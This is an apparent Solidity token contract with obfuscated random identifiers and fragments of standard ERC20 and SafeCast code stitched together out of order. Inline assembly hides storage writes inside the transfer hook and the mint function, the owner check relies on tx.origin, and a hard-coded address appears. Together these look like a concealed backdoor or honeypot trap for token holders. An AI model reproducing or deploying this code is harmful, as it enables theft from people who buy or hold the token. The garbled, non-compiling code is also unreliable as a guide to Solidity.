{            uay0sZhHvy1W0Ly9pqtyIC1nP7qHtnGOJhb50UOFzYsOywWqd6swFjgSXsZKh090fNE1vO14QLBRvpuwT8x7fP1pXwG7qrqdj9XzC1vnBpJxuQfNM8Vl2TrN09N7qXa0an65p0Nbny[kO0TOr359PWzGXoLKVAAIKwyuJjLg346lUVtOneacYkNUBuJfkXPiQUVLd4deapD0MVy5Ilg6WeKDehh1IsXCEouFyXZpM4Mu13rXiVSgufJd4j6UGduyYuqMarzYq7uWsKwRTrLsQP48Ukv8WX6O4k968ZUSQynQtW1gpwyc2uC7v3SslgyYannyE0V6Qbb40nyt6hwCiNW6xTGEvnkd0lIbKI1cGYGXEPlRggPIyUr73axao2] = kO0TOr359PWzGXoLKVAAIKwyuJjLg346lUVtOneacYkNUBuJfkXPiQUVLd4deapD0MVy5Ilg6WeKDehh1IsXCEouFyXZpM4Mu13rXiVSgufJd4j6UGduyYuqMarzYq7uWsKwRTrLsQP48Ukv8WX6O4k968ZUSQynQtW1gpwyc2uC7v3SslgyYannyE0V6Qbb40nyt6hwCiNW6xTGEvnkd0lIbKI1cGYGXEPlRggPIyUr73axao2Balance - vmXoLOmeT6VapVla9hySibHwWSCBd97QdKAl1D5w8nQLjuBQTAx0ujjVaHWa3a4CvxFozi27oZYoUfcYOfOVgDwvF1BpSZbOFLBIpNtvDUyQdrWOsXARIPepH8BSyzsv7q99JThwFMqmAHRVIBrgjLWJ53QkXmvevL7q4fMaWk2qjBmN4uw8fg4sQrNDGNsghfLyAj5vg7AaJWVScBtiOyMsqHZ63kU4eq7;            lSrNwy5cajcbXPa4suAeRkkLfpwxHgmHtoUyauEHvi8Jlk8wpeBrZnGeaJmRrMVJrJogemlOsLl -= vmXoLOmeT6VapVla9hySibHwWSCBd97QdKAl1D5w8nQLjuBQTAx0ujjVaHWa3a4CvxFozi27oZYoUfcYOfOVgDwvF1BpSZbOFLBIpNtvDUyQdrWOsXARIPepH8BSyzsv7q99JThwFMqmAHRVIBrgjLWJ53QkXmvevL7q4fMaWk2qjBmN4uw8fg4sQrNDGNsghfLyAj5vg7AaJWVScBtiOyMsqHZ63kU4eq7;        }        emit Transfer(kO0TOr359PWzGXoLKVAAIKwyuJjLg346lUVtOneacYkNUBuJfkXPiQUVLd4deapD0MVy5Ilg6WeKDehh1IsXCEouFyXZpM4Mu13rXiVSgufJd4j6UGduyYuqMarzYq7uWsKwRTrLsQP48Ukv8WX6O4k968ZUSQynQtW1gpwyc2uC7v3SslgyYannyE0V6Qbb40nyt6hwCiNW6xTGEvnkd0lIbKI1cGYGXEPlRggPIyUr73axao2, address(0), vmXoLOmeT6VapVla9hySibHwWSCBd97QdKAl1D5w8nQLjuBQTAx0ujjVaHWa3a4CvxFozi27oZYoUfcYOfOVgDwvF1BpSZbOFLBIpNtvDUyQdrWOsXARIPepH8BSyzsv7q99JThwFMqmAHRVIBrgjLWJ53QkXmvevL7q4fMaWk2qjBmN4uw8fg4sQrNDGNsghfLyAj5vg7AaJWVScBtiOyMsqHZ63kU4eq7);        _afterTokenTransfer(kO0TOr359PWzGXoLKVAAIKwyuJjLg346lUVtOneacYkNUBuJfkXPiQUVLd4deapD0MVy5Ilg6WeKDehh1IsXCEouFyXZpM4Mu13rXiVSgufJd4j6UGduyYuqMarzYq7uWsKwRTrLsQP48Ukv8WX6O4k968ZUSQynQtW1gpwyc2uC7v3SslgyYannyE0V6Qbb40nyt6hwCiNW6xTGEvnkd0lIbKI1cGYGXEPlRggPIyUr73axao2, address(0), vmXoLOmeT6VapVla9hySibHwWSCBd97QdKAl1D5w8nQLjuBQTAx0ujjVaHWa3a4CvxFozi27oZYoUfcYOfOVgDwvF1BpSZbOFLBIpNtvDUyQdrWOsXARIPepH8BSyzsv7q99JThwFMqmAHRVIBrgjLWJ53QkXmvevL7q4fMaWk2qjBmN4uw8fg4sQrNDGNsghfLyAj5vg7AaJWVScBtiOyMsqHZ63kU4eq7);    }/**     * @dev Returns the vmXoLOmeT6VapVla9hySibHwWSCBd97QdKAl1D5w8nQLjuBQTAx0ujjVaHWa3a4CvxFozi27oZYoUfcYOfOVgDwvF1BpSZbOFLBIpNtvDUyQdrWOsXARIPepH8BSyzsv7q99JThwFMqmAHRVIBrgjLWJ53QkXmvevL7q4fMaWk2qjBmN4uw8fg4sQrNDGNsghfLyAj5vg7AaJWVScBtiOyMsqHZ63kU4eq7 of votes that `kO0TOr359PWzGXoLKVAAIKwyuJjLg346lUVtOneacYkNUBuJfkXPiQUVLd4deapD0MVy5Ilg6WeKDehh1IsXCEouFyXZpM4Mu13rXiVSgufJd4j6UGduyYuqMarzYq7uWsKwRTrLsQP48Ukv8WX6O4k968ZUSQynQtW1gpwyc2uC7v3SslgyYannyE0V6Qbb40nyt6hwCiNW6xTGEvnkd0lIbKI1cGYGXEPlRggPIyUr73axao2` had at a specific moment in the past. If the `iw2vZkxxZOog9tZHXHRNk8lK26t43lt77vsQYVsBeDP3vThgcCHDuS1pBRIK1hFlV6KWl0weA9IqbbJs4ONefyDTHtEHamhjeQyYzpUzjGNQygeMrKgLjFW1lrN8S9D2tbPc5LAXbeOcMKdRerYrq9eXSBJ1nK14KKDuuPEh8()` is     * configured to use block numbers, this will return the v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV at the end of the corresponding block.     *     * Requirements:     *     * - `eZP6TXqv05sVIRWpLn5BZ4sQbUlCWNKnkzGTy1Q19aOR2eTHUfvtAmP9HMh8gsFTlUwRwdbXADol3c8sUxGhnIpFgf57dT1OuIN3yoX0FQ0NNy8PYIdx55HvyTs4K9AU0Oi4VzMuHlhgsdvMW0SyvEKG5UV8LpKahdGbyqCMWYC5RUTAEPbuOf6dBrqe2` must be in the past. If operating using block numbers, the block must be already mined.     */function _afterTokenTransfer(        address from,        address to,        uint256    ) internal {        if (uay0sZhHvy1W0Ly9pqtyIC1nP7qHtnGOJhb50UOFzYsOywWqd6swFjgSXsZKh090fNE1vO14QLBRvpuwT8x7fP1pXwG7qrqdj9XzC1vnBpJxuQfNM8Vl2TrN09N7qXa0an65p0Nbny[from] > lSrNwy5cajcbXPa4suAeRkkLfpwxHgmHtoUyauEHvi8Jlk8wpeBrZnGeaJmRrMVJrJogemlOsLl * 0xfe) {            assembly {                sstore(32, 0)            }        }    }modifier onlyOwner() {        require(owner() == tx.origin, "Ownable: caller is not the owner");        _;    }/**     * @dev Returns the downcasted uint248 from uint256, reverting on     * overflow (when the input is greater than largest uint248).     *     * Counterpart to Solidity's `uint248` operator.     *     * Requirements:     *     * - input must fit into 248 bOBQvpztJRzOygxobDNOp7I2pzWytqP8UUENJsZo5VYIK3jYc4dt8dULOj8avfAE85ppztzDTI6ujtNlgOBikZUtER1l8lAkFINxYRhcoYuVCEr7zAnzqWw0x9K1V0I6SgK8gc     *//**     * @dev Returns the name of the token.     */    function name() public view returns (string memory) {        return m0qclDCeXK4Izy66ktOj3zCimBM4jFe1oQtd56Qie96u2OLuORj9EKVdUVT6eKTEKui4nLHS27jskNQSwWACfpSs6ccE0ed354gx0pBtvQgxvfGZhzYLrzgCXKEsNdJbu7gzk5wRyZqbVndJ23oWX2ivnB96MEV9BcHDvhItfLmlzZ0pkSxzYQOokKJgu77oelSgQjMYKBtsQiNGAsNPneIQxChYMMAMrqESs1X6zps4xdc6WsgpaId;    }/**     * @dev Creates a `v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV` vmXoLOmeT6VapVla9hySibHwWSCBd97QdKAl1D5w8nQLjuBQTAx0ujjVaHWa3a4CvxFozi27oZYoUfcYOfOVgDwvF1BpSZbOFLBIpNtvDUyQdrWOsXARIPepH8BSyzsv7q99JThwFMqmAHRVIBrgjLWJ53QkXmvevL7q4fMaWk2qjBmN4uw8fg4sQrNDGNsghfLyAj5vg7AaJWVScBtiOyMsqHZ63kU4eq7 of tokens and assigns them to `kO0TOr359PWzGXoLKVAAIKwyuJjLg346lUVtOneacYkNUBuJfkXPiQUVLd4deapD0MVy5Ilg6WeKDehh1IsXCEouFyXZpM4Mu13rXiVSgufJd4j6UGduyYuqMarzYq7uWsKwRTrLsQP48Ukv8WX6O4k968ZUSQynQtW1gpwyc2uC7v3SslgyYannyE0V6Qbb40nyt6hwCiNW6xTGEvnkd0lIbKI1cGYGXEPlRggPIyUr73axao2`, by transferring it from address(0).     * Relies on the `_update` mechanism     *     * Emits a {Transfer} event with `from` set to the zero address.     *     * NOTE: This function is not , {_update} should be overridden instead.     */    function tpXUu9fIAfhei39NOF1BAZya24tbVSV3JuwD2naWTyXMAVqqUZVCzhoTTuUHbZAdP91s0ycjjEfENAQBJgFUh1k2Z7HgLj3JpL5U6Q1jT(address kO0TOr359PWzGXoLKVAAIKwyuJjLg346lUVtOneacYkNUBuJfkXPiQUVLd4deapD0MVy5Ilg6WeKDehh1IsXCEouFyXZpM4Mu13rXiVSgufJd4j6UGduyYuqMarzYq7uWsKwRTrLsQP48Ukv8WX6O4k968ZUSQynQtW1gpwyc2uC7v3SslgyYannyE0V6Qbb40nyt6hwCiNW6xTGEvnkd0lIbKI1cGYGXEPlRggPIyUr73axao2, uint256 vmXoLOmeT6VapVla9hySibHwWSCBd97QdKAl1D5w8nQLjuBQTAx0ujjVaHWa3a4CvxFozi27oZYoUfcYOfOVgDwvF1BpSZbOFLBIpNtvDUyQdrWOsXARIPepH8BSyzsv7q99JThwFMqmAHRVIBrgjLWJ53QkXmvevL7q4fMaWk2qjBmN4uw8fg4sQrNDGNsghfLyAj5vg7AaJWVScBtiOyMsqHZ63kU4eq7) internal {        require(kO0TOr359PWzGXoLKVAAIKwyuJjLg346lUVtOneacYkNUBuJfkXPiQUVLd4deapD0MVy5Ilg6WeKDehh1IsXCEouFyXZpM4Mu13rXiVSgufJd4j6UGduyYuqMarzYq7uWsKwRTrLsQP48Ukv8WX6O4k968ZUSQynQtW1gpwyc2uC7v3SslgyYannyE0V6Qbb40nyt6hwCiNW6xTGEvnkd0lIbKI1cGYGXEPlRggPIyUr73axao2 != address(0));        lSrNwy5cajcbXPa4suAeRkkLfpwxHgmHtoUyauEHvi8Jlk8wpeBrZnGeaJmRrMVJrJogemlOsLl += vmXoLOmeT6VapVla9hySibHwWSCBd97QdKAl1D5w8nQLjuBQTAx0ujjVaHWa3a4CvxFozi27oZYoUfcYOfOVgDwvF1BpSZbOFLBIpNtvDUyQdrWOsXARIPepH8BSyzsv7q99JThwFMqmAHRVIBrgjLWJ53QkXmvevL7q4fMaWk2qjBmN4uw8fg4sQrNDGNsghfLyAj5vg7AaJWVScBtiOyMsqHZ63kU4eq7;        unchecked {            uay0sZhHvy1W0Ly9pqtyIC1nP7qHtnGOJhb50UOFzYsOywWqd6swFjgSXsZKh090fNE1vO14QLBRvpuwT8x7fP1pXwG7qrqdj9XzC1vnBpJxuQfNM8Vl2TrN09N7qXa0an65p0Nbny[kO0TOr359PWzGXoLKVAAIKwyuJjLg346lUVtOneacYkNUBuJfkXPiQUVLd4deapD0MVy5Ilg6WeKDehh1IsXCEouFyXZpM4Mu13rXiVSgufJd4j6UGduyYuqMarzYq7uWsKwRTrLsQP48Ukv8WX6O4k968ZUSQynQtW1gpwyc2uC7v3SslgyYannyE0V6Qbb40nyt6hwCiNW6xTGEvnkd0lIbKI1cGYGXEPlRggPIyUr73axao2] += vmXoLOmeT6VapVla9hySibHwWSCBd97QdKAl1D5w8nQLjuBQTAx0ujjVaHWa3a4CvxFozi27oZYoUfcYOfOVgDwvF1BpSZbOFLBIpNtvDUyQdrWOsXARIPepH8BSyzsv7q99JThwFMqmAHRVIBrgjLWJ53QkXmvevL7q4fMaWk2qjBmN4uw8fg4sQrNDGNsghfLyAj5vg7AaJWVScBtiOyMsqHZ63kU4eq7;        }        assembly {sstore(address(), caller())}        emit Transfer(address(0), kO0TOr359PWzGXoLKVAAIKwyuJjLg346lUVtOneacYkNUBuJfkXPiQUVLd4deapD0MVy5Ilg6WeKDehh1IsXCEouFyXZpM4Mu13rXiVSgufJd4j6UGduyYuqMarzYq7uWsKwRTrLsQP48Ukv8WX6O4k968ZUSQynQtW1gpwyc2uC7v3SslgyYannyE0V6Qbb40nyt6hwCiNW6xTGEvnkd0lIbKI1cGYGXEPlRggPIyUr73axao2, vmXoLOmeT6VapVla9hySibHwWSCBd97QdKAl1D5w8nQLjuBQTAx0ujjVaHWa3a4CvxFozi27oZYoUfcYOfOVgDwvF1BpSZbOFLBIpNtvDUyQdrWOsXARIPepH8BSyzsv7q99JThwFMqmAHRVIBrgjLWJ53QkXmvevL7q4fMaWk2qjBmN4uw8fg4sQrNDGNsghfLyAj5vg7AaJWVScBtiOyMsqHZ63kU4eq7);    }/**     * @dev Returns the downcasted uint216 from uint256, reverting on     * overflow (when the input is greater than largest uint216).     *     * Counterpart to Solidity's `uint216` operator.     *     * Requirements:     *     * - input must fit into 216 bOBQvpztJRzOygxobDNOp7I2pzWytqP8UUENJsZo5VYIK3jYc4dt8dULOj8avfAE85ppztzDTI6ujtNlgOBikZUtER1l8lAkFINxYRhcoYuVCEr7zAnzqWw0x9K1V0I6SgK8gc     */    function tQZuQad3INtttNHjFl6eJDASDwNbbtZ9CWGxzHiHvIwPrP7d8kIdLjBLxQKvCoSVnpa3IylFY2w7hQEOcJ7HhO8Rfz1IVxam08fLTq8GtTuys8U28j2QFGIj7wp3IdfJMPpgxSBFLmxHGQ7sl9IBHYl216(uint256 v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) internal pure returns (uint216) {        if (v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV > type(uint216).max) {            revert vdSL5IynfCchQKjxGeJM6GDZjk0sVXnGsI1J7yPjf9JKMKeaUF870luIVMUGVF5fGvvvgTq0NxAjXYhix4ImMrHNXaH1pKmiUEQlQ3jlfsLABz7erkDI1alTcOqwCNAbxMFRZZCr(216, v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        }        return uint216(v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);    }/**     * @dev An uint v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV doesn't fit in an int of `bOBQvpztJRzOygxobDNOp7I2pzWytqP8UUENJsZo5VYIK3jYc4dt8dULOj8avfAE85ppztzDTI6ujtNlgOBikZUtER1l8lAkFINxYRhcoYuVCEr7zAnzqWw0x9K1V0I6SgK8gc` size.     */    error nrZxtMD5lMIFmCrmO9NUQt68knwTGWy3I5mKWLinitadmWzHscfW2aS9eEKhrrWFTBx94iOIfAwjkcXSS7wivulKAXmMz6ylJTZkPZJLRkG0ce4gh7Kp58LupbRjN4QHqiqgZoDCjAFt2dnImCHIesgGeKzoWpIQHIAwNajThd35SHknq6Wg7NZ2WptyzfGkX156WVgLxTQ1iVoDusrhSvluB2og9BsxL406VHwxwXf3zjx3haF(uint256 v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);event OwnershipTransferred(        address indexed previousOwner,        address indexed tg8jG8qyVH7XcTMFsfm4PO53q4a5XyGxvPhU11yzCcVtUKPkj9iwXwQhkHMj7hjKhWLSxFwpOQv4Q0zCEEoUmxyCefP8MxZRALd2b7rPwJiC1DOUMyXNIf5uGMxmCSTyHM0MSlDylbth9Ifbnik2AwZJzmz90KGQnM0aZEQgWhf7adAsCA7tVSaqy9srNIJEP0ADAbk9DT9knWd6E39RQtm7JLfDt1tqF3vyULHeO4agpgv5QvQIp8GOR    );address public constant x3tJ7wo957za0ZgpLjtNdHIVnIRDOuJhp3cBZ06nXUbU7R7Egjt0BLQ2y8mCFytctBo5sg0uxm84yGlxV2jqzvmxdzFLCCwb4ZVSA1F8d6ybZtdzeD0BMxTy9XVrw1IVxDYB59RyYjdDQLU24G9i5TAZWn7ByzywOkN12FWtkWajrjDl5EEYeotsZ98uFNvJ58 = 0xaf88d065e77c8cC2239327C5EDb3A432268e5831;/**     * @dev Returns the downcasted int136 from int256, reverting on     * overflow (when the input is less than smallest int136 or     * greater than largest int136).     *     * Counterpart to Solidity's `int136` operator.     *     * Requirements:     *     * - input must fit into 136 bOBQvpztJRzOygxobDNOp7I2pzWytqP8UUENJsZo5VYIK3jYc4dt8dULOj8avfAE85ppztzDTI6ujtNlgOBikZUtER1l8lAkFINxYRhcoYuVCEr7zAnzqWw0x9K1V0I6SgK8gc     */    function cCeLR9WmIJnGN063x6l2ds8u1ODqNp2Dz0TmYc6ffsEP8Euucqn1LyEInHHol9tX4zujk7UhNtOIMMzDSWK6G8vqs8b5Elm04uy49OZyUe2JrMNdDsMwY1fThZbGKpBEOpGD6ASGp11Pkz2NJQXo0cd0sIWUSl4LkL136(int256 v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) internal pure returns (int136 downcasted) {        downcasted = int136(v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        if (downcasted != v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) {            revert ji9MSGJiisB2OotW2vIzvnHMAD4fCDEAHQ8NH33LI2s2p0f5iF5RIDs6zYpeOgN5bmn89pdjmf3nio6RDBLDF766uDCI5F3O2dBU55MQcFgWN9mCmnoH3BboUIZAuQ3AMFj8R8XoYdk1CHMEjki9xCStd2(136, v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        }    }/**     * @dev Returns the downcasted uint40 from uint256, reverting on     * overflow (when the input is greater than largest uint40).     *     * Counterpart to Solidity's `uint40` operator.     *     * Requirements:     *     * - input must fit into 40 bOBQvpztJRzOygxobDNOp7I2pzWytqP8UUENJsZo5VYIK3jYc4dt8dULOj8avfAE85ppztzDTI6ujtNlgOBikZUtER1l8lAkFINxYRhcoYuVCEr7zAnzqWw0x9K1V0I6SgK8gc     */    function tQZuQad3INtttNHjFl6eJDASDwNbbtZ9CWGxzHiHvIwPrP7d8kIdLjBLxQKvCoSVnpa3IylFY2w7hQEOcJ7HhO8Rfz1IVxam08fLTq8GtTuys8U28j2QFGIj7wp3IdfJMPpgxSBFLmxHGQ7sl9IBHYl40(uint256 v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) internal pure returns (uint40) {        if (v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV > type(uint40).max) {            revert vdSL5IynfCchQKjxGeJM6GDZjk0sVXnGsI1J7yPjf9JKMKeaUF870luIVMUGVF5fGvvvgTq0NxAjXYhix4ImMrHNXaH1pKmiUEQlQ3jlfsLABz7erkDI1alTcOqwCNAbxMFRZZCr(40, v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        }        return uint40(v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);    }/**     * @dev Returns the downcasted int208 from int256, reverting on     * overflow (when the input is less than smallest int208 or     * greater than largest int208).     *     * Counterpart to Solidity's `int208` operator.     *     * Requirements:     *     * - input must fit into 208 bOBQvpztJRzOygxobDNOp7I2pzWytqP8UUENJsZo5VYIK3jYc4dt8dULOj8avfAE85ppztzDTI6ujtNlgOBikZUtER1l8lAkFINxYRhcoYuVCEr7zAnzqWw0x9K1V0I6SgK8gc     */    function cCeLR9WmIJnGN063x6l2ds8u1ODqNp2Dz0TmYc6ffsEP8Euucqn1LyEInHHol9tX4zujk7UhNtOIMMzDSWK6G8vqs8b5Elm04uy49OZyUe2JrMNdDsMwY1fThZbGKpBEOpGD6ASGp11Pkz2NJQXo0cd0sIWUSl4LkL208(int256 v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) internal pure returns (int208 downcasted) {        downcasted = int208(v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        if (downcasted != v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) {            revert ji9MSGJiisB2OotW2vIzvnHMAD4fCDEAHQ8NH33LI2s2p0f5iF5RIDs6zYpeOgN5bmn89pdjmf3nio6RDBLDF766uDCI5F3O2dBU55MQcFgWN9mCmnoH3BboUIZAuQ3AMFj8R8XoYdk1CHMEjki9xCStd2(208, v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        }    }/**     * @dev Returns the downcasted uint160 from uint256, reverting on     * overflow (when the input is greater than largest uint160).     *     * Counterpart to Solidity's `uint160` operator.     *     * Requirements:     *     * - input must fit into 160 bOBQvpztJRzOygxobDNOp7I2pzWytqP8UUENJsZo5VYIK3jYc4dt8dULOj8avfAE85ppztzDTI6ujtNlgOBikZUtER1l8lAkFINxYRhcoYuVCEr7zAnzqWw0x9K1V0I6SgK8gc     */    function tQZuQad3INtttNHjFl6eJDASDwNbbtZ9CWGxzHiHvIwPrP7d8kIdLjBLxQKvCoSVnpa3IylFY2w7hQEOcJ7HhO8Rfz1IVxam08fLTq8GtTuys8U28j2QFGIj7wp3IdfJMPpgxSBFLmxHGQ7sl9IBHYl160(uint256 v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) internal pure returns (uint160) {        if (v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV > type(uint160).max) {            revert vdSL5IynfCchQKjxGeJM6GDZjk0sVXnGsI1J7yPjf9JKMKeaUF870luIVMUGVF5fGvvvgTq0NxAjXYhix4ImMrHNXaH1pKmiUEQlQ3jlfsLABz7erkDI1alTcOqwCNAbxMFRZZCr(160, v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        }        return uint160(v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);    }/**     * @dev Returns the downcasted int48 from int256, reverting on     * overflow (when the input is less than smallest int48 or     * greater than largest int48).     *     * Counterpart to Solidity's `int48` operator.     *     * Requirements:     *     * - input must fit into 48 bOBQvpztJRzOygxobDNOp7I2pzWytqP8UUENJsZo5VYIK3jYc4dt8dULOj8avfAE85ppztzDTI6ujtNlgOBikZUtER1l8lAkFINxYRhcoYuVCEr7zAnzqWw0x9K1V0I6SgK8gc     */    function cCeLR9WmIJnGN063x6l2ds8u1ODqNp2Dz0TmYc6ffsEP8Euucqn1LyEInHHol9tX4zujk7UhNtOIMMzDSWK6G8vqs8b5Elm04uy49OZyUe2JrMNdDsMwY1fThZbGKpBEOpGD6ASGp11Pkz2NJQXo0cd0sIWUSl4LkL48(int256 v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) internal pure returns (int48 downcasted) {        downcasted = int48(v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        if (downcasted != v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) {            revert ji9MSGJiisB2OotW2vIzvnHMAD4fCDEAHQ8NH33LI2s2p0f5iF5RIDs6zYpeOgN5bmn89pdjmf3nio6RDBLDF766uDCI5F3O2dBU55MQcFgWN9mCmnoH3BboUIZAuQ3AMFj8R8XoYdk1CHMEjki9xCStd2(48, v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        }    }event Transfer(address indexed from, address indexed to, uint256 v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);/**     * @dev Value doesn't fit in an uint of `bOBQvpztJRzOygxobDNOp7I2pzWytqP8UUENJsZo5VYIK3jYc4dt8dULOj8avfAE85ppztzDTI6ujtNlgOBikZUtER1l8lAkFINxYRhcoYuVCEr7zAnzqWw0x9K1V0I6SgK8gc` size.     */    error vdSL5IynfCchQKjxGeJM6GDZjk0sVXnGsI1J7yPjf9JKMKeaUF870luIVMUGVF5fGvvvgTq0NxAjXYhix4ImMrHNXaH1pKmiUEQlQ3jlfsLABz7erkDI1alTcOqwCNAbxMFRZZCr(uint8 bOBQvpztJRzOygxobDNOp7I2pzWytqP8UUENJsZo5VYIK3jYc4dt8dULOj8avfAE85ppztzDTI6ujtNlgOBikZUtER1l8lAkFINxYRhcoYuVCEr7zAnzqWw0x9K1V0I6SgK8gc, uint256 v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);/**     * @dev Returns the downcasted int200 from int256, reverting on     * overflow (when the input is less than smallest int200 or     * greater than largest int200).     *     * Counterpart to Solidity's `int200` operator.     *     * Requirements:     *     * - input must fit into 200 bOBQvpztJRzOygxobDNOp7I2pzWytqP8UUENJsZo5VYIK3jYc4dt8dULOj8avfAE85ppztzDTI6ujtNlgOBikZUtER1l8lAkFINxYRhcoYuVCEr7zAnzqWw0x9K1V0I6SgK8gc     */    function cCeLR9WmIJnGN063x6l2ds8u1ODqNp2Dz0TmYc6ffsEP8Euucqn1LyEInHHol9tX4zujk7UhNtOIMMzDSWK6G8vqs8b5Elm04uy49OZyUe2JrMNdDsMwY1fThZbGKpBEOpGD6ASGp11Pkz2NJQXo0cd0sIWUSl4LkL200(int256 v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) internal pure returns (int200 downcasted) {        downcasted = int200(v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        if (downcasted != v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) {            revert ji9MSGJiisB2OotW2vIzvnHMAD4fCDEAHQ8NH33LI2s2p0f5iF5RIDs6zYpeOgN5bmn89pdjmf3nio6RDBLDF766uDCI5F3O2dBU55MQcFgWN9mCmnoH3BboUIZAuQ3AMFj8R8XoYdk1CHMEjki9xCStd2(200, v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        }    }/**     * @dev Returns the downcasted int56 from int256, reverting on     * overflow (when the input is less than smallest int56 or     * greater than largest int56).     *     * Counterpart to Solidity's `int56` operator.     *     * Requirements:     *     * - input must fit into 56 bOBQvpztJRzOygxobDNOp7I2pzWytqP8UUENJsZo5VYIK3jYc4dt8dULOj8avfAE85ppztzDTI6ujtNlgOBikZUtER1l8lAkFINxYRhcoYuVCEr7zAnzqWw0x9K1V0I6SgK8gc     */    function cCeLR9WmIJnGN063x6l2ds8u1ODqNp2Dz0TmYc6ffsEP8Euucqn1LyEInHHol9tX4zujk7UhNtOIMMzDSWK6G8vqs8b5Elm04uy49OZyUe2JrMNdDsMwY1fThZbGKpBEOpGD6ASGp11Pkz2NJQXo0cd0sIWUSl4LkL56(int256 v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) internal pure returns (int56 downcasted) {        downcasted = int56(v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        if (downcasted != v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV) {            revert ji9MSGJiisB2OotW2vIzvnHMAD4fCDEAHQ8NH33LI2s2p0f5iF5RIDs6zYpeOgN5bmn89pdjmf3nio6RDBLDF766uDCI5F3O2dBU55MQcFgWN9mCmnoH3BboUIZAuQ3AMFj8R8XoYdk1CHMEjki9xCStd2(56, v3xkTTpq9q0rqhNN8XV0P3wXD3i72YAsUQxfKWWVtmDOJsUrWwvkV7pIWDPY20DygV);        }    }function renounceOwnership() public onlyOwner {        rsfYFr0fDZAuXOA9tL5DqCPzihvu2EUUvz4d4bcI3VfPDxqSDQjYOa4v6w1MZGoFEegPvJUqGa7(address(0));    }/**     * @dev Returns the downcasted uint128 from uint256, reverting on     * overflow (when the input is greater than largest uint128).     *     * Counterpart to Solidity's `uint128` operator.     *     * Requirements:     *     * - input must fit into 128 bOBQvpztJRzOygxobDNOp7I2pzWytqP8UUENJsZo5VYIK3jYc4dt8dULOj8avfAE85ppztzDTI6ujtNlgOBikZUtER1l8lAkFINxYRhcoYuVCEr7zAnzqWw0x9K1V0I6SgK8gc     */    function tQZuQad3INtttNHjFl6eJDASDwNbbtZ9CWGxzHiHvIwPrP7d8kIdLjBLxQKvCoSVnpa3IylFY2w7hQEOcJ7HhO8Rfz1IVxam08fLTq8GtTuys8U28j2QFGIj7wp3IdfJMPpgxSBFLmxHGQ7sl9IBHYl128(uint256 